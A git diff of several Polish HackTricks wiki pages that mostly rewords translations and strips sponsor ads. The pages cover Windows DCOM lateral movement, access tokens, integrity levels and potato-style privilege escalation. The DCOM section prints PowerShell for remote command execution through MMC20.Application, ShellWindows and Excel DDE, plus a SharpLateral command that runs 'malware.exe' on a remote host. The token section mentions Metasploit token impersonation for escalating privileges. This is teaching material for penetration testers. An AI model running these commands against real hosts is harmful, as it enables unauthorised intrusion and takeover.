Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -147,8 +133,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post z [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Distributed Component Object Model (DCOM) obiekty oferują interesującą możliwość interakcji w sieci z obiektami. Microsoft zapewnia szczegółową dokumentację zarówno dla DCOM, jak i Component Object Model (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) oraz [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Lista aplikacji DCOM może być pobrana za pomocą polecenia PowerShell:
|
||||
Obiekty Distributed Component Object Model (DCOM) oferują interesującą możliwość interakcji z obiektami w sieci. Microsoft zapewnia szczegółową dokumentację zarówno dla DCOM, jak i Component Object Model (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) oraz [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Lista aplikacji DCOM może być pobrana za pomocą polecenia PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -37,9 +29,9 @@ Funkcja ta ułatwia wykonywanie poleceń w sieci za pośrednictwem aplikacji DCO
|
|||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
To polecenie łączy się z aplikacją DCOM i zwraca instancję obiektu COM. Metoda ExecuteShellCommand może być następnie wywołana, aby uruchomić proces na zdalnym hoście. Proces obejmuje następujące kroki:
|
||||
To polecenie łączy się z aplikacją DCOM i zwraca instancję obiektu COM. Metoda ExecuteShellCommand może być następnie wywołana w celu uruchomienia procesu na zdalnym hoście. Proces obejmuje następujące kroki:
|
||||
|
||||
Sprawdź metody:
|
||||
Check methods:
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
|
@ -57,12 +49,12 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
Obiekt **MMC20.Application** został zidentyfikowany jako brakujący w wyraźnych "LaunchPermissions", domyślnie przyznając uprawnienia, które pozwalają Administratorom na dostęp. Aby uzyskać dalsze szczegóły, można zbadać wątek [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a użycie [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET do filtrowania obiektów bez wyraźnych uprawnień uruchomienia jest zalecane.
|
||||
Obiekt **MMC20.Application** został zidentyfikowany jako brakujący w "LaunchPermissions", domyślnie przyznając uprawnienia, które pozwalają Administratorom na dostęp. Aby uzyskać dalsze szczegóły, można zbadać wątek [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a użycie [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET do filtrowania obiektów bez wyraźnych uprawnień uruchomienia jest zalecane.
|
||||
|
||||
Dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, zostały wyróżnione z powodu braku wyraźnych uprawnień uruchomienia. Brak wpisu rejestru `LaunchPermission` pod `HKCR:\AppID\{guid}` oznacza brak wyraźnych uprawnień.
|
||||
|
||||
### ShellWindows
|
||||
Dla `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu przy użyciu jego AppID. Proces ten wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po instancjonowaniu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywołania metod, takich jak `Document.Application.ShellExecute`.
|
||||
Dla `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu przy użyciu jego AppID. Proces ten wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po zainstancjonowaniu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywołania metod, takich jak `Document.Application.ShellExecute`.
|
||||
|
||||
Podano przykładowe polecenia PowerShell do instancjonowania obiektu i zdalnego wykonywania poleceń:
|
||||
```powershell
|
||||
|
@ -98,7 +90,7 @@ $Obj.DisplayAlerts = $false
|
|||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||||
}
|
||||
```
|
||||
### Narzędzia automatyzacji do ruchu bocznego
|
||||
### Narzędzia Automatyzacji dla Ruchu Lateralnego
|
||||
|
||||
Dwa narzędzia są wyróżnione do automatyzacji tych technik:
|
||||
|
||||
|
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -135,7 +121,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Access Tokens
|
||||
|
||||
Każdy **użytkownik zalogowany** do systemu **posiada token dostępu z informacjami o bezpieczeństwie** dla tej sesji logowania. System tworzy token dostępu, gdy użytkownik się loguje. **Każdy proces wykonywany** w imieniu użytkownika **ma kopię tokena dostępu**. Token identyfikuje użytkownika, grupy użytkownika i uprawnienia użytkownika. Token zawiera również SID logowania (Identifikator bezpieczeństwa), który identyfikuje bieżącą sesję logowania.
|
||||
Każdy **użytkownik zalogowany** do systemu **posiada token dostępu z informacjami o bezpieczeństwie** dla tej sesji logowania. System tworzy token dostępu, gdy użytkownik się loguje. **Każdy proces wykonywany** w imieniu użytkownika **ma kopię tokena dostępu**. Token identyfikuje użytkownika, grupy użytkownika oraz uprawnienia użytkownika. Token zawiera również SID logowania (Identifikator Bezpieczeństwa), który identyfikuje bieżącą sesję logowania.
|
||||
|
||||
Możesz zobaczyć te informacje, wykonując `whoami /all`
|
||||
```
|
||||
|
@ -97,7 +84,7 @@ Możesz uruchomić proces, który **używa różnych poświadczeń do uzyskiwani
|
|||
```
|
||||
runas /user:domain\username /netonly cmd.exe
|
||||
```
|
||||
To jest przydatne, jeśli masz użyteczne dane uwierzytelniające do uzyskania dostępu do obiektów w sieci, ale te dane uwierzytelniające nie są ważne w bieżącym hoście, ponieważ będą używane tylko w sieci (w bieżącym hoście będą używane uprawnienia bieżącego użytkownika).
|
||||
To jest przydatne, jeśli masz użyteczne poświadczenia do uzyskania dostępu do obiektów w sieci, ale te poświadczenia nie są ważne w bieżącym hoście, ponieważ będą używane tylko w sieci (w bieżącym hoście będą używane uprawnienia bieżącego użytkownika).
|
||||
|
||||
### Typy tokenów
|
||||
|
||||
|
@ -106,13 +93,13 @@ Dostępne są dwa typy tokenów:
|
|||
* **Token główny**: Służy jako reprezentacja poświadczeń bezpieczeństwa procesu. Tworzenie i przypisywanie tokenów głównych do procesów to działania wymagające podwyższonych uprawnień, co podkreśla zasadę separacji uprawnień. Zazwyczaj usługa uwierzytelniania jest odpowiedzialna za tworzenie tokenów, podczas gdy usługa logowania zajmuje się ich przypisaniem do powłoki systemu operacyjnego użytkownika. Warto zauważyć, że procesy dziedziczą token główny swojego procesu macierzystego w momencie tworzenia.
|
||||
* **Token impersonacji**: Umożliwia aplikacji serwerowej tymczasowe przyjęcie tożsamości klienta w celu uzyskania dostępu do zabezpieczonych obiektów. Mechanizm ten jest podzielony na cztery poziomy działania:
|
||||
* **Anonimowy**: Przyznaje dostęp serwera podobny do tego, który ma nieznany użytkownik.
|
||||
* **Identyfikacja**: Umożliwia serwerowi weryfikację tożsamości klienta bez wykorzystania jej do uzyskania dostępu do obiektów.
|
||||
* **Identyfikacja**: Pozwala serwerowi zweryfikować tożsamość klienta bez wykorzystania jej do uzyskania dostępu do obiektów.
|
||||
* **Impersonacja**: Umożliwia serwerowi działanie pod tożsamością klienta.
|
||||
* **Delegacja**: Podobna do impersonacji, ale obejmuje możliwość rozszerzenia tej tożsamości na zdalne systemy, z którymi serwer wchodzi w interakcje, zapewniając zachowanie poświadczeń.
|
||||
|
||||
#### Tokeny impersonacji
|
||||
|
||||
Używając modułu _**incognito**_ w metasploit, jeśli masz wystarczające uprawnienia, możesz łatwo **wylistować** i **imponować** inne **tokeny**. Może to być przydatne do wykonywania **działań tak, jakbyś był innym użytkownikiem**. Możesz również **eskalować uprawnienia** za pomocą tej techniki.
|
||||
Używając modułu _**incognito**_ w metasploit, jeśli masz wystarczające uprawnienia, możesz łatwo **wylistować** i **imponować** innymi **tokenami**. Może to być przydatne do wykonywania **działań tak, jakbyś był innym użytkownikiem**. Możesz również **eskalować uprawnienia** za pomocą tej techniki.
|
||||
|
||||
### Uprawnienia tokenów
|
||||
|
||||
|
@ -128,17 +115,6 @@ Zobacz [**wszystkie możliwe uprawnienia tokenów i niektóre definicje na tej z
|
|||
|
||||
Dowiedz się więcej o tokenach w tych samouczkach: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) i [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -149,8 +125,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,40 +9,26 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Poziomy integralności
|
||||
|
||||
W systemach Windows Vista i nowszych wszystkie chronione elementy mają etykietę **poziomu integralności**. Ta konfiguracja zazwyczaj przypisuje "średni" poziom integralności do plików i kluczy rejestru, z wyjątkiem niektórych folderów i plików, do których Internet Explorer 7 może zapisywać na niskim poziomie integralności. Domyślne zachowanie polega na tym, że procesy inicjowane przez standardowych użytkowników mają średni poziom integralności, podczas gdy usługi zazwyczaj działają na poziomie integralności systemu. Etykieta wysokiej integralności chroni katalog główny.
|
||||
W systemach Windows Vista i nowszych, wszystkie chronione elementy mają etykietę **poziomu integralności**. Ta konfiguracja zazwyczaj przypisuje "średni" poziom integralności do plików i kluczy rejestru, z wyjątkiem niektórych folderów i plików, do których Internet Explorer 7 może zapisywać na niskim poziomie integralności. Domyślne zachowanie polega na tym, że procesy inicjowane przez standardowych użytkowników mają średni poziom integralności, podczas gdy usługi zazwyczaj działają na poziomie integralności systemu. Etykieta wysokiej integralności chroni katalog główny.
|
||||
|
||||
Kluczową zasadą jest to, że obiekty nie mogą być modyfikowane przez procesy o niższym poziomie integralności niż poziom obiektu. Poziomy integralności to:
|
||||
|
||||
* **Nieufny**: Ten poziom jest przeznaczony dla procesów z anonimowymi logowaniami. %%%Przykład: Chrome%%%
|
||||
* **Niski**: Głównie dla interakcji internetowych, szczególnie w trybie chronionym Internet Explorera, wpływający na powiązane pliki i procesy oraz niektóre foldery, takie jak **Folder tymczasowy Internetu**. Procesy o niskiej integralności napotykają znaczne ograniczenia, w tym brak dostępu do zapisu w rejestrze i ograniczony dostęp do zapisu w profilu użytkownika.
|
||||
* **Niski**: Głównie dla interakcji internetowych, szczególnie w trybie chronionym Internet Explorera, wpływając na powiązane pliki i procesy oraz niektóre foldery, takie jak **Folder tymczasowy Internetu**. Procesy o niskiej integralności napotykają znaczne ograniczenia, w tym brak dostępu do zapisu w rejestrze i ograniczony dostęp do zapisu w profilu użytkownika.
|
||||
* **Średni**: Domyślny poziom dla większości działań, przypisany do standardowych użytkowników i obiektów bez określonych poziomów integralności. Nawet członkowie grupy Administratorzy działają na tym poziomie domyślnie.
|
||||
* **Wysoki**: Zarezerwowany dla administratorów, pozwalający im na modyfikację obiektów na niższych poziomach integralności, w tym tych na poziomie wysokim.
|
||||
* **Wysoki**: Zarezerwowany dla administratorów, pozwalający im modyfikować obiekty na niższych poziomach integralności, w tym te na wysokim poziomie.
|
||||
* **System**: Najwyższy poziom operacyjny dla jądra Windows i podstawowych usług, niedostępny nawet dla administratorów, zapewniający ochronę kluczowych funkcji systemu.
|
||||
* **Instalator**: Unikalny poziom, który stoi ponad wszystkimi innymi, umożliwiający obiektom na tym poziomie odinstalowanie dowolnego innego obiektu.
|
||||
|
||||
Możesz uzyskać poziom integralności procesu za pomocą **Process Explorer** z **Sysinternals**, uzyskując dostęp do **właściwości** procesu i przeglądając zakładkę "**Zabezpieczenia**":
|
||||
Możesz uzyskać poziom integralności procesu, używając **Process Explorer** z **Sysinternals**, uzyskując dostęp do **właściwości** procesu i przeglądając zakładkę "**Zabezpieczenia**":
|
||||
|
||||
![](<../../.gitbook/assets/image (824).png>)
|
||||
|
||||
|
@ -52,8 +38,8 @@ Możesz również uzyskać swój **aktualny poziom integralności** używając `
|
|||
|
||||
### Poziomy integralności w systemie plików
|
||||
|
||||
Obiekt w systemie plików może wymagać **minimalnego poziomu integralności**, a jeśli proces nie ma tego poziomu integralności, nie będzie mógł z nim współdziałać.\
|
||||
Na przykład, **stwórzmy plik z konsoli użytkownika standardowego i sprawdźmy uprawnienia**:
|
||||
Obiekt w systemie plików może wymagać **minimalnego wymogu poziomu integralności**, a jeśli proces nie ma tego poziomu integralności, nie będzie mógł z nim współdziałać.\
|
||||
Na przykład, stwórzmy **zwykły plik z konsoli zwykłego użytkownika i sprawdźmy uprawnienia**:
|
||||
```
|
||||
echo asd >asd.txt
|
||||
icacls asd.txt
|
||||
|
@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
|
|||
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||
Mandatory Label\High Mandatory Level:(NW)
|
||||
```
|
||||
To jest miejsce, w którym sprawy stają się interesujące. Możesz zobaczyć, że użytkownik `DESKTOP-IDJHTKP\user` ma **PEŁNE uprawnienia** do pliku (w rzeczywistości to był użytkownik, który stworzył plik), jednak z powodu minimalnego poziomu integralności wdrożonego nie będzie mógł już modyfikować pliku, chyba że działa w ramach Wysokiego Poziomu Integralności (zauważ, że będzie mógł go odczytać):
|
||||
To jest miejsce, w którym sprawy stają się interesujące. Możesz zobaczyć, że użytkownik `DESKTOP-IDJHTKP\user` ma **PEŁNE uprawnienia** do pliku (w rzeczywistości to był użytkownik, który stworzył plik), jednak z powodu minimalnego poziomu integralności wdrożonego, nie będzie mógł już modyfikować pliku, chyba że działa w ramach Wysokiego Poziomu Integralności (zauważ, że będzie mógł go odczytać):
|
||||
```
|
||||
echo 1234 > asd.txt
|
||||
Access is denied.
|
||||
|
@ -94,7 +80,7 @@ Access is denied.
|
|||
|
||||
### Poziomy integralności w plikach binarnych
|
||||
|
||||
Zrobiłem kopię `cmd.exe` w `C:\Windows\System32\cmd-low.exe` i ustawiłem mu **poziom integralności na niski z konsoli administratora:**
|
||||
Zrobiłem kopię `cmd.exe` w `C:\Windows\System32\cmd-low.exe` i ustawiłem jej **poziom integralności na niski z konsoli administratora:**
|
||||
```
|
||||
icacls C:\Windows\System32\cmd-low.exe
|
||||
C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F)
|
||||
|
@ -108,37 +94,10 @@ Teraz, gdy uruchamiam `cmd-low.exe`, **będzie działać na niskim poziomie inte
|
|||
|
||||
![](<../../.gitbook/assets/image (313).png>)
|
||||
|
||||
Dla ciekawskich, jeśli przypiszesz wysoki poziom integralności do binarnego pliku (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), nie uruchomi się on automatycznie z wysokim poziomem integralności (jeśli wywołasz go z poziomu średniej integralności -- domyślnie -- będzie działać na poziomie średniej integralności).
|
||||
Dla ciekawskich, jeśli przypiszesz wysoki poziom integralności do binarnego pliku (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), nie uruchomi się on automatycznie z wysokim poziomem integralności (jeśli wywołasz go z poziomu średniej integralności -- domyślnie -- będzie działać na średnim poziomie integralności).
|
||||
|
||||
### Poziomy integralności w procesach
|
||||
|
||||
Nie wszystkie pliki i foldery mają minimalny poziom integralności, **ale wszystkie procesy działają na poziomie integralności**. I podobnie jak w przypadku systemu plików, **jeśli proces chce zapisać w innym procesie, musi mieć przynajmniej ten sam poziom integralności**. Oznacza to, że proces z niskim poziomem integralności nie może otworzyć uchwytu z pełnym dostępem do procesu ze średnim poziomem integralności.
|
||||
|
||||
Z powodu ograniczeń omówionych w tej i poprzedniej sekcji, z punktu widzenia bezpieczeństwa, zawsze **zaleca się uruchamianie procesu na jak najniższym poziomie integralności**.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,22 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato nie działa** na Windows Server 2019 i Windows 10 w wersji 1809 i nowszych. Jednak [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) mogą być używane do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. _**Sprawdź:**_
|
||||
**JuicyPotato nie działa** na Windows Server 2019 i Windows 10 od wersji 1809. Jednakże, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) mogą być użyte do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. _**Sprawdź:**_
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
||||
|
